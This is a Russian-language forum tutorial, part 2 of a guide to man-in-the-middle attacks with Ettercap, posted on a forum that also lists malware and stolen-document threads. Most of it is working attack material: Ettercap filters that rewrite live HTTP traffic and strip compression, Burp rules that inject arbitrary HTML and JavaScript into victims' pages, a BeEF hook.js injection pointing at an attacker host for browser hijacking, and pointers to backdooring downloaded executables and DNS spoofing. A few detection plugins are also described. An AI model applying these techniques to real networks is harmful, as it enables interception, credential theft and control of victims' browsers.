Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2

  • Автор темы klobald
  • Дата начала
K

klobald

Original poster
4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:
Код:
sudo apt-get remove ettercap-graphical ettercap-common
sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev
git clone -b filter-improvements https://github.com/Ettercap/ettercap.git
cd ettercap/
mkdir build
cd build
cmake ENABLE_PDF_DOCS=On ../
make
sudo make install

В общем, если у вас фильтры не заработали – то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter. Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

jollypwn.png



В файл с именем img_replacer.filter скопируйте:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная

      msg("zapped Accept-Encoding!\n");

   }

}

if (ip.proto == TCP && tcp.src == 80) {

   replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   msg("Filter Ran.\n");

}

Скомпилируйте файл:
Код:
etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:
Код:
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team
 14 protocol tables loaded:
    DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth
 13 constants loaded:
    VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP
 Parsing source file 'img_replacer.filter'  done.
 Unfolding the meta-tree  done.
 Converting labels to real offsets  done.
 Writing output to 'img_replacer.ef'  done.
 -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:
Код:
ettercap -G -F img_replacer.ef

Примечание: Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "gzip")) {

    replace("gzip", "    "); # примечание: четыре пробела в заменяемой строке

        msg("whited out gzip\n");

    }

}

if (ip.proto == TCP && tcp.dst == 80) {

    if (search(DATA.data, "deflate")) {

        replace("deflate", "       "); # примечание: семь пробелов в заменяемой строке

        msg("whited out deflate\n");

    }

}

а далее ещё несколько примеров:

# замена текста в пакете:

if (ip.proto == TCP && search(DATA.data, "lol")){

    replace("lol", "smh");

    msg("filter ran");

}

 

# показать сообщение, если tcp портом является 22

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      msg("SSH packet\n");

   }

}

# записать весь telnet трафик, также выполнить ./program на каждый пакет

if (ip.proto == TCP) {

   if (tcp.src == 23 || tcp.dst == 23) {

      log(DATA.data, "./logfile.log");

      exec("./program");

   }

}

# записать весь трафик, кроме http

if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) {

   log(DATA.data, "./logfile.log");

}

# некоторые операции с полезной нагрузкой пакетов

if ( DATA.data + 20 == 0x4142 ) {

   DATA.data + 20 = 0x4243;

} else {

   DATA.data = "modified";

   DATA.data + 20 = 0x4445;

}

# отбросить все пакеты, содержащие "ettercap"

if (search(DECODED.data, "ettercap")) {

   msg("some one is talking about us...\n");

   drop();

   kill();

}

# записать расшифрованные ssh пакеты, соответствующие регулярному выражению

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      if (regex(DECODED.data, ".*login.*")) {

         log(DECODED.data, "./decrypted_log");

      }

   }

}

# убийство пакетов

if (ip.ttl < 5) {

   msg("The packet will die soon\n");

}

# то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты

if (eth.proto == IP6 && ipv6.hl < 5) {

   msg("The IPv6 packet will die soon\n");

}

# сравнение строки на данный сдвиг

if (DATA.data + 40 == "ette") {

   log(DATA.data, "./logfile");

}

# вставить файл после указанного пакета

if (tcp.src == 21 && search(DATA.data, "root")) {

   inject("./fake_response");

}

# целиком заменить пакет на другой

if (tcp.src == 23 && search(DATA.data, "microsoft")) {

   drop();

   inject("./fake_telnet");

}

# Изменение бинарных данных используя внешнюю программу

if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) {

   log(DATA.data, "/tmp/payload");

   drop();

   execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload");

   udp.len += 7;

   exec("/bin/rm /tmp/payload");

   msg("faked");

}

# фильтровать только указанный IP адрес

if (ip.src == '192.168.0.2') {

   drop();

}

# делать то же самое для IPv6

if (ipv6.src == '2001:db8::1') {

   drop();

}

# комбинируем IPv4 и IPv6

if (eth.proto == IP && ip.dst == '192.168.0.2') {

   msg("drop IPv4");

   drop();

}

if (eth.proto == IP6 && ipv6.dst == '2001:db8::1') {

   msg("drop IPv6");

   drop();

}

# транслировать tcp пакеты с порта 80 на 81

if (tcp.dst == 80) {

   tcp.dst -= 1;

   tcp.dst += 2;

}

# найти и покалечить пакеты ESP

if (ip.proto == ESP) {

   DATA.data = "DEADDECAF";

}


4.2 Подмена данных с помощью Burp
Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options. Находим там Match and Replace. Нажимаем Add для добавления нового правила.

  • Request header – это заголовок запроса
  • Request body – тело запроса
  • Response header – заголовок ответа
  • Response body – тело ответа
  • Request param name – Имя параметра запроса
  • Request param value – Значение параметра запроса
  • Request first line – Первая строка запроса
Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует – этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю. )))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять
Код:
<title>.*<\/title>

на

<title>No Title</title>

Поставьте галочку на Regex match.

42.jpg



Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

41-1.jpg



Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем
Код:
<body.*?>

На

<body><p>I am cool!</p>

Поставьте галочку на Regex match.

43.jpg



В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст – что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым – всё зависит от вашей фантазии.

44.jpg



Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ – то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, здесь реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF
Чтобы начать использовать возможности BeEF, нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:
Код:
<script src="IP_или_ХОСТ/hook.js">

Следующие два метода различаются только методом внедрения этой строки.


5.1 Подцепление BeEF с помощью фильтров Ettercap
[раздел будет подготовлен позже]


5.2 Подцепление BeEF с помощью Burp
Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:
Код:
<script src="IP_или_ХОСТ/hook.js">



В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:
Код:
<script src="http://192.168.1.36:3000/hook.js">

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена
Код:
<\/head>

На

<script src="http://192.168.1.36:3000/hook.js"></head>

51.jpg



Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

52.jpg



6. Заражение бэкдорами
Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory: в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite.


7. Использование плагинов Ettercap
Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:
Код:
-P, --plugin <плагин>       запустить этот <плагин>

Также плагины можно загрузить из графического интерфейса:

61-1.jpg


[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop
Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

пример:
Код:
ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

7.2 autoadd
Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison
Он выполняет проверку — успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof
Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn
Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

пример:
Код:
ettercap -TQzP find_conn

ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap
Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner
Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

пример:
Код:
ettercap -TQP scan_poisoner //

7.8 search_promisc
Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

примеры:
Код:
ettercap -TQP search_promisc /192.168.0.1/

ettercap -TQP search_promisc //

7.9 sslstrip
Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

Заключение
Ettercap – программа для выполнения атаки человек-посередине. Она предлагает три пользовательских интерфейса на выбор. Кроме своей основной функции – ARP спуфинг и сниффинг трафика, программа поддерживает работу с плагинами и фильтрами.

Ettercap может быть использована в комбинации с другими инструментами, для выполнения самых разных сценариев атак.
 
Название темы
Автор Заголовок Раздел Ответы Дата
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
bitwisex Инструкция по установке и настройке криптовалютного кошелька Trust Wallet Полезные статьи 0
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
BuriTTo Инструкция по настройке своего VPN от VektorT13 SSH / дедики / Vpn / Proxy / Socks 0
T Инструкция по установке веб-сервера Apache c PHP, MariaDB и phpMyAdmin в Windows. Полезные статьи 0
J инструкция по установки панели Azorult Spam/DDOS/Malware 22
K Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux Уязвимости и взлом 0
K Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa ЧАСТЬ 2 Уязвимости и взлом 0
K Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa Уязвимости и взлом 0
G WiFi-autopwner 2: инструкция по использованию и обзор новых функций Kali Linux 0
K Инструкция по использованию MITMf Уязвимости и взлом 0
S Статья Анонимность | Инструкция по Выживанию Анонимность и приватность 0
C Инструкция по добычи PROXY для Black_Lucky Полезные статьи 1
wrangler65 Интересно Как удалить информацию о себе из интернета: подробная инструкция Полезные статьи 0
Support81 Clickfix: зарази свою систему сам, вот тебе инструкция Новости в сети 0
Emilio_Gaviriya Статья Проброс доступа к SSH через HTTPS: Подробная инструкция. Анонимность и приватность 0
El_IRBIS Интересно Отключаем Google Ad Topics в Chrome: Шаг за шагом инструкция с практическим применением. Анонимность и приватность 0
G Android botnet - full инструкция Полезные статьи 3
Traven Android botnet - full инструкция Полезные статьи 1
M UBC developed by FraGmeNt 1.7.1 + Инструкция для редактора Бруты/Парсеры/Чекеры 2
Support81 Конец цифровой империи? Минюст США готовит мощный удар по Google Новости в сети 0
wrangler65 Интересно Руководство по анонимности в интернете Анонимность и приватность 0
Support81 Увольнения в NIST: США теряет ведущих экспертов по ИИ и кибербезопасности Новости в сети 0
Support81 Интересно Выводы ChatGPT по натальной карте(пол,дата, время и место рождения) Свободное общение и флейм 1
NEIZVESTNOSERVICE Проверено Продвижение в Telegram, Инвайт, Рассылка по Чатам, Реклама в Чатах Услуги дизайнеров/веб-разработчиков 0
Support81 Тайны кода: как спецслужбы США используют ошибки в ПО Новости в сети 0
D Продам Сервис по продаже фото/сканов паспортов ID DL Европа/Снг/Лат Америка/Северная Америка/Азия Куплю/Продам 0
wrangler65 Создание незаметного вредоносного ПО Ч.2 Полезные статьи 0
wrangler65 Интересно Создание незаметного вредоносного ПО для Windows (C2-фреймворк Villain + обфускация PowerShell + недетектируемая доставка) Полезные статьи 0
Pepebet Ожидает оплаты Pepebet приглашает к сотрудничеству по рефшаре 50-70% от депозита с возможностью постоплаты! Предоставляю работу. Ищу специалиста. 0
Support81 Интересно Обучение по созданию аккаунтов Google Ads Трафик, загрузки, инсталлы, iframe 0
wrangler65 Интересно Полное руководство по поиску уязвимостей с помощью Shodan и Censys Полезные статьи 0
Support81 CISA: сети по всему миру в прицеле китайских хакеров Новости в сети 0
Support81 Crimenetwork: полиция нанесла удар по теневой экономике Германии Новости в сети 0
ShowSend Продам ⚡Софт для спама по форумам (Сообщения в ЛC + Почта | Создает новые темы | Делает комментарии по ключам )⚡ Куплю/Продам 0
Support81 От просьбы Байдена до приговора: суд вынес вердикт по делу REvil Новости в сети 0
Support81 Интерпол наносит удар по глобальной сети нелегальных букмекеров Новости в сети 0
E Платим за звонок в Skype | 50р. За принятие смс по звонку в Skype Предоставляю работу. Ищу специалиста. 0
Support81 Кликнул по ссылке от HR? Возможно, ты уже в руках киберпреступников Новости в сети 0
Support81 Важно!!! Дуров: данные пользователей Telegram могут предоставляться органам по запросу Новости в сети 4
Support81 Вирус по клику: хакеры взламывают Windows через CAPTCHA Новости в сети 0
Proxytrail Продам Proxytrail - Быстрые прокси по самым низким ценам Дедики/VPN/соксы/ssh 1
Support81 Loki: неизвестный вирус ударил по российскому бизнесу Новости в сети 0
Support81 Вредонос, чьё имя нельзя называть: Voldemort атакует системы по всему миру Новости в сети 0
Support81 0Day в Chrome опустошает криптокошельки по всему миру Новости в сети 0
Support81 Tusk: русскоязычные хакеры охотятся за криптовалютой по всему миру Новости в сети 0
Support81 ООН приняла глобальный договор по кибербезопасности Новости в сети 0
Support81 Двух россиян арестовали в США по обвинению в кибермошенничестве Новости в сети 2
E На проверке Заказать услуги профессионального хакера от [email protected] - решение проблем по взлому (Whatsapp,Viber,Telegram,ВКонтакте,Instagram,Facebook) Ищу работу. Предлагаю свои услуги. 1
@little_polly_base Продам Продам Лиды по Украине Все что не подошло по разделу 23

Название темы